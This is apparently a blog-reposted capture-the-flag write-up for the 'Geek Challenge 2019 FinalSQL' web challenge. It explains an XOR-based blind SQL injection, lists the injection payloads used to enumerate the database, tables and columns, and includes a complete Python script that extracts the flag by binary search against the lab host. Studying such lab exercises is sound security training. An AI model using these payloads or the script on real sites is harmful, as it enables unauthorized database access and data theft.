当前位置:网站首页>[Geek Challenge 2019]FinalSQL
[Geek Challenge 2019]FinalSQL
2022-08-05 03:59:00 【pakho_C】
[极客大挑战 2019]FinalSQL
依次点击5个页面
Go to the last page to find the prompt to try No6个页面,观察到url中的id,输入6得到
有参数,尝试单引号
提示error 那么应该存在sql注入,Try Eternal True
There must be a filter,fuzz一波:
filter a lot,但是异或^没被过滤,And there is no error page,Then it should be the blinds
Use the XOR feature:相同为0 不同为1 测试
利用id=0^1为NO! Not this! Click others~~~ id=1^1为ERROR!!!to make blind judgments
Write blast scripts,参考这位佬的:[极客大挑战 2019]FinalSQL
1.Blast the database name core statement:0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")
Blast database named geek
2.Blast the table name core statement:0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")
爆破出表名为F1naI1y,Flaaaaag
3.爆破字段名 核心语句:0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),"+str(i)+",1))>"+str(mid)+")
F1naI1y表列名为id username password
0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")
Flaaaaag表字段为id fl4gawsl
猜测flag在fl4gawsl里
4.爆破flag 核心语句:0^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),"+str(i)+",1))>"+str(mid)+")
flag不在此处,query another tablepassword字段
找到flag
完整脚本代码:
import requests
target = "http://f394d9ca-2bcb-4014-bf77-82cd9e2a9963.node4.buuoj.cn:81/search.php"
def getDataBase(): #获取数据库名
database_name = ""
for i in range(1,1000): #注意是从1开始,substrThe function truncates from the first character
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
params={
"id":"0^(ascii(substr((select(database())),"+str(i)+",1))>"+str(mid)+")" #注意select(database())要用()包裹起来
}
r = requests.get(url=target,params=params)
if "others" in r.text: #True to indicate that the character is presentasciiThe back half of the table
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
database_name += chr(mid) #将ascii码转换为字符
print("数据库名:" + database_name)
def getTable(): #获取表名
column_name=""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low<high:
params = {
"id": "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target,params=params)
if "others" in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("表名为:"+column_name)
def getColumn(): #获取列名
column_name = ""
for i in range(1,250):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id": "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'others' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low <= 32 or high >= 127:
break
column_name += chr(mid)
print("列名为:" + column_name)
def getFlag(): #获取flag
flag = ""
for i in range(1,1000):
low = 32
high = 127
mid = (low+high)//2
while low < high:
params = {
"id" : "0^(ascii(substr((select(group_concat(password))from(F1naI1y)),"+str(i)+",1))>"+str(mid)+")"
}
r = requests.get(url=target, params=params)
if 'others' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127:
break
flag += chr(mid)
print("flag:" + flag)
getDataBase()
getTable()
getColumn()
getFlag()
边栏推荐
- SkiaSharp 之 WPF 自绘 粒子花园(案例版)
- UI自动化测试 App的WebView页面中,当搜索栏无搜索按钮时处理方法
- [Software testing] unittest framework for automated testing
- 多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层
- ffmpeg 枚举decoders, encoders 分析
- 【背包九讲——01背包问题】
- 【8.4】代码源 - 【数学】【历法】【删库】【不朴素的数列(Bonus)】
- public static
List asList(T... a) What is the prototype? - 2022软件测试工程师最全面试题
- flink读取mongodb数据源
猜你喜欢
随机推荐
2022 Hangzhou Electric Multi-School 1st Game
Redis key basic commands
队列题目:最近的请求次数
日志导致线程Block的这些坑,你不得不防
How to find all fields with empty data in sql
【8.4】代码源 - 【数学】【历法】【删库】【不朴素的数列(Bonus)】
【8.2】代码源 - 【货币系统】【硬币】【新年的问题(数据加强版)】【三段式】
2022软件测试工程师最全面试题
36-Jenkins-Job迁移
markdown如何换行——md文件
How to discover a valuable GameFi?
测试薪资这么高?刚毕业就20K
Detailed and comprehensive postman interface testing practical tutorial
事件解析树Drain3使用方法和解释
public static
List asList(T... a) What is the prototype? 四位数显表头设计
UE4 通过与其它Actor互动开门
将故事写成我们
[CISCN2019 华东南赛区]Web11
There are several common event handling methods in Swing?How to listen for events?